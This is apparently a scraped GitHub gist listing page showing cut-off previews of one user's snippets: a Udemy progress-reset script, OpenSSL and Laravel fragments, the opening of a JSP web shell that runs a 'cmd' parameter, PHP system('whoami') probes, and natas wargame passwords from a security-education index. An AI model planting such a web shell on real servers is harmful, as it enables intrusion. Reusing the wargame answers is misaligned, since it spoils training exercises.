Skip to content

Instantly share code, notes, and snippets.

@ziyahan
ziyahan / gist:88271073cc2a800f7adff3041c358259
Created November 3, 2024 09:13
Udemy course progress reset (No need for extension)
const checkboxes = document.querySelectorAll("input[type='checkbox'][data-purpose='progress-toggle-button']");
for (let i = 0; i < checkboxes.length; i++) {
checkboxes[i].click();
}
!function(e) {
if ("object" == typeof exports && "undefined" != typeof module)
module.exports = e();
else if ("function" == typeof define && define.amd)
define([], e);
else {
("undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : this).frameService = e()
}
}((function() {
return function e(t, n, r) {
#
# OpenSSL example configuration file.
# This is mostly being used for generation of certificate requests.
#
# This definition stops the following lines choking if HOME isn't
# defined.
HOME = .
RANDFILE = $ENV::HOME/.rnd
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
<?php
system("whoami");
?>
<?php
system("whoami");
?>
@ziyahan
ziyahan / seceduindex.txt
Last active April 30, 2017 07:56
SecEduCases
https://tinyurl.com/secedu1 (natas2 - ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi)
https://tinyurl.com/secedu2 (natas3 - sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14)
https://tinyurl.com/secedu5 (natas9 - W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl)
// You can define a spesific route
Route::get('user/{id}/profile', ['middleware'=>'acl','as' => 'UserProfile', function ($id) {
//
}]);
<?php
namespace App\Http\Middleware;
use Closure;
class CheckPermission
{
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next